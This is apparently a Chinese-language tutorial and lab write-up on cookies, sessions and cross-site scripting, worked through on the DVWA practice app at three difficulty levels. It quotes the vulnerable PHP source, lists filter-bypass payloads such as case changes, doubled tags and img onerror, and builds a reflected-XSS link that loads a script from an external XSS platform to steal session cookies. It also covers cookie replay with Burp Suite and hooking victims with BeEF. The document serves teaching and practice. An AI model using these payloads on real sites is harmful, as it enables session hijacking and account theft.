Cookie與session
-
有狀態會話與無狀態會話:
當我們登陸網站的時候,會輸入用戶名及密碼等信息。
當在無狀態會話場景時,我們每次打開此網站均需要輸入信息進行驗證。
有狀態會話場景時,當第一次驗證通過後,服務器會在http響應包中發送一個此用戶唯一的信息(cookie)便於下次登陸無需再次驗證。 -
Cookie: Cookie按照存儲的位置可以分爲:硬盤Cookie和內存Cookie
硬盤Cookie:Cookie信息存儲在客戶端的硬盤中,由服務器設置過期時間。除非由用戶清理或者過期否則硬盤Cookie不會被清除。
內存Cookie:Cookie信息存儲在客戶端內存中,隨着瀏覽器關閉後就會消失。 -
session:
session與cookie的作用相同,也是用於服務器驗證用戶。不同的是,session信息存儲在服務器,當用戶打開網站到關閉網站即爲一個session。瀏覽器關閉後,session也將註銷。
服務器通過SESSIONID來識別不同的用戶,SESSIONID可以包含在http響應中的cookie的值中。 -
Cookie和session的區別就是存儲的位置,Cookie存儲在客戶端;session存儲在服務器,客戶端僅存儲一個SESSIONID
一、原理
由於後臺程序對輸入框的內容過濾不完善導致後臺程序將用戶輸入惡意的JavaScript代碼返回給瀏覽器,瀏覽器執行。
二、分類
- 反射型XSS
反射型XSS即只有用戶點擊連接後觸發 - 存儲型XSS
黑客構造好XSS代碼並將這些惡意代碼填到留言板等地方並發表,這些惡意代碼存儲到後臺數據庫中,所有訪問留言板的用戶均會受到攻擊。 - DOM型XSS
三、繞過
-
注意標籤的閉合
當構造的代碼在<title>,<textarea>
等標籤中時,需要考慮將這些標籤閉合然後再將構造的代碼加在後邊。在div標籤中可以不用閉合。 -
大小寫繞過
有些使用了一些函數過濾script關鍵字,可以考慮ScriPt等隨意改變只要與script不同即可 -
雙寫繞過
有些過濾看到script會將其刪除可以進行雙寫,如scRiscriptpt進行繞過 -
圖片標籤加事件繞過
<img src=# onerror=alert('xss')>)
四、漏洞利用
- 修改網頁內容
- 盜取cookie
- XSS蠕蟲
- 網站掛馬
- 重定向
五、DVWA、XSS反射型
Low級別
直接輸入<script>alert('xss');</script>
進行測試
medium級別
依舊輸入之前的測試代碼進行測試,發現將script標籤過濾
嘗試大小寫繞過<scripT>alert("xss");</sCript>
嘗試雙寫繞過<sc<script>ript>alert('xss');</scri<script>pt>
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
查看網頁代碼,發現對輸入的參數使用str_replace(參數1,參數2,參數3)進行過濾
參數1爲要查找的字符串,參數2爲將參數1替換爲什麼,參數3爲在哪裏查找,這裏使用黑名單的思想將<script>
進行替換爲空
high級別
基本語句測試
<script>alert('xss');</script>
大小寫繞過
<scripT>alert("xss");</sCript>
失敗
雙寫結合大小寫繞過
<sC<script>ript>alert('xss');</Scri<script>pt>
失敗
嘗試其他標籤
<img src=1 onerror=alert('xss')>
成功
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
高級別的防禦通過正則表達式的替換函數preg_replace()來對script進行替換使得<script>
標籤無法使用
利用
頁面跳轉:<script>location.href="URL"</script>
通過XSS平臺進行cookie的獲取:
我選擇框中的代碼,將此代碼防入到反射型XSS框內然後提交。
由於不同級別的知識存在標籤的過濾,原理都是通過嵌入XSS平臺的代碼然後構造URL,受害者點擊URL的時候會將cookie發送給XSS平臺。所以這裏我以low級別的進行利用。
將代碼加入框中發現是get方式進行提交,所以直接構造鏈接
http://192.168.1.4/vulnerabilities/xss_r/?name=<script src=https://xsspt.com/qrCRUy></script>
然後發送給受害者,此時我用本機的瀏覽器訪問此鏈接並通過另一個用戶進行登陸(用戶名爲1337)然後查看
此時有一個前提就是受害者必須已經處在登陸的狀態下然後再觸發構造的鏈接
如果受害者沒有登陸也無法獲取cookie
所以我先以1377用戶的身份登陸到網站,然後觸發URL
此時XSS平臺接收到了信息
然後黑客訪問登陸之後的頁面時,通過burp suite進行抓包修改其中的cookie(XSS獲取到的)就會以受害者的身份登入到網站。注意這裏黑客要訪問的不是網站的登陸頁面而是一個登陸後纔可以訪問的頁面。
這裏我模擬黑客首先開啓抓包,然後訪問http://192.168.1.4/vulnerabilities/xss_r頁面
將cookie改爲XSS中獲取到的受害者的cookie
然後點擊forward
成功登陸並且是以1337的身份
六、XSS存儲型
Low級別
在message欄中直接輸入測試代碼<script>alert('xss')</script>
出現彈框,然後測試下name是否也存在XSS
首先name框中允許輸入最大長度小於我們的代碼長度,右擊審查元素查看
修改maxlength爲更大然後輸入測試代碼,同樣存在XSS漏洞
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
查看源碼,對message和name首先通過trim()函數移除參數兩邊的"\0"、"\t"、"\n"、"\x0B"、"\r"、" "
然後對於message,通過stripslashes()函數刪除字符串中的""反斜槓,對測試語句貌似沒有起作用
最後通過mysql_real_escape_string()函數對字符串中的特殊符號進行轉義
而對於name只運用了mysql_real_escape_string()函數對其特殊符號進行轉義
medium級別
在靶機中爲了消除之前的實驗的影響,可以清空留言數據
同樣先在message欄輸入測試代碼查看,顯示將<script>
標籤過濾,並且將’進行了轉義
嘗試大小寫繞過<sCrIpt>alert(/xss/)</ScriPt>
依舊過濾,嘗試雙寫和大小寫結合<sCrIscriptpt>alert(/xss/)</ScrscriptIpT>
依舊不管用
嘗試使用圖片標籤<img src=1 onerror=alert(/xss/)>
依舊不管用
然後對name框進行測試輸入基本的測試語句,失敗
然後大小寫繞過嘗試<scrIPt>alert('xss')</scRipt>
出現漏洞。
最後查看下源代碼
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
message
可以看到對message進行了五次過濾
第一次:使用trim()移除字符串兩邊的"\0" - NULL、"\t" - 製表符、"\n" - 換行、"\x0B" - 垂直製表符、"\r" - 回車、" " - 空格符
第二次:使用addslashes()函數將預定義的字符單引號(’)雙引號(")反斜槓(\)之前添加\
對於此種轉義可採取以下方法進行繞過:
- alert(/xss/)將alert中的內容使用/來包含
- 將alert(‘xss’)中的’xss’進行編碼使用到了火狐上的一個插件HackBar
第三次:使用strip_tags()函數,除去字符串中的html標籤,所以<img>
等標籤會被過濾
第四次:使用mysql_real_escape_string() 與上面的函數類似
第五次使用了htmlspecialchars()函數,將&、" 、’ 、<、>轉義爲html實體,html實體可以理解爲客戶端請求服務器,服務器響應之後把頁面的html代碼返回給客戶端瀏覽器,瀏覽器解析這些html代碼,而這些html實體就是被解析的代碼,瀏覽器先解析然後再顯示給用戶。所以輸入的字符被轉義爲html實體後,瀏覽器通過渲染之後顯示了字符原來的樣子,並沒有帶入到代碼中執行。
name
相對於message框,name框的過濾只有三種
第一次使用trim()函數
第二次使用str_replace()函數,示例中出現了三個參數,第一個爲要替換的內容(<script>
),第二個參數爲替換成什麼(空),第三個參數爲對哪個字符串進行替換。
可以採取以下方式繞過:
- 大小寫繞過,改變script的大小寫
- 雙寫繞過,如
<sc<script>ript>alert('xss')</scr<script>ipt>
- 圖片標籤繞過,
<img src=1 onerror=alert('xss')>
high級別
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
message依舊採取medium級別的方法進行過濾
name這裏添加了preg_replace()函數,通過正則表達式來過濾<script>
標籤,可以使用<img>
標籤進行繞過
<img src=1 onerror=alert(/xss/)>
七、使用BeEF
首先在kali打開BeEF,在左側欄中點擊圖標會先彈出一個命令行窗口
然後會打開一個網頁,命令行窗口顯示了一些配置,網頁用戶名密碼均爲beef
利用命令行給出的方法,將腳本代碼插入到存在XSS的地方。我這裏選擇插入到DVWA中存儲型XSS漏洞的頁面,將上圖的Example中127.0.0.1的地址換爲kali機的ip。這裏的kali就相當於一臺服務器。原理與XSS平臺類似,就是將受害者的信息發送到kali的beef中。
上傳xss代碼
此時BeEF的網頁中已經顯示有自己中招
接下來我通過真機來進行訪問存儲型XSS頁面通過1337用戶的身份
此時又新增了一個受害者。
這種方法類似與XSS平臺,將那些構造好的腳本插入到留言板中,只要訪問了頁面的人都會向指定的服務器發送請求從而中招。